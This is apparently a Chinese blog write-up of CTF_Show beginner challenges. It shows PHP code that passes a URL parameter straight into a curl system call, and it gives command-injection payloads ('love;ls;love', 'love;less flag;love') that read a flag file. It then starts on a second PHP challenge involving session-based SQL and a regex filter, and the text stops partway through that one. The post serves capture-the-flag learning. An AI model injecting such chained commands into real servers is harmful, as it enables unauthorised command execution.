CTF_Show萌新赛

1.签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

和 AI 一起分析

1.if(isset($_GET['url']))检查GET请求中是否存在名为url的参数。

curl

2.curl是一个利用URL语法在命令行方式下工作的文件传输工具,它支持多种协议,包括HTTP、HTTPS、FTP等。

基本用法

curl [url?param1=value1]                   默认为 get 请求

curl -data "param1=value1" [url]        POST请求

curl -o filename [url]                           下载文件

curl -F filename [url]                            上传文件

由于 用户输入命令被直接拼接到 system 里执行,故可以用 ; 来分隔不同语句(Linux)

==》

?url=love;ls;love

关键在于  ;ls;

复原后为

curl http://love;ls;love.ctf.show

?url=love;less flag;love

ctfshow{b3f6c155-0fd8-4a2b-baf4-7f1c798379e9}

less 命令:

  • less file,打开文件,并允许逐页浏览内容
  • Page Upb:向上翻页。
  • Page DownSpace:向下翻页。
  • /word:向下搜索“word”这个词。

2.假生赛

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

题目提示 register.php,login.php,是两个登录窗口

根据index里的内容判断,首先需要以admin身份登录(session认证),然后传入c绕过正

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值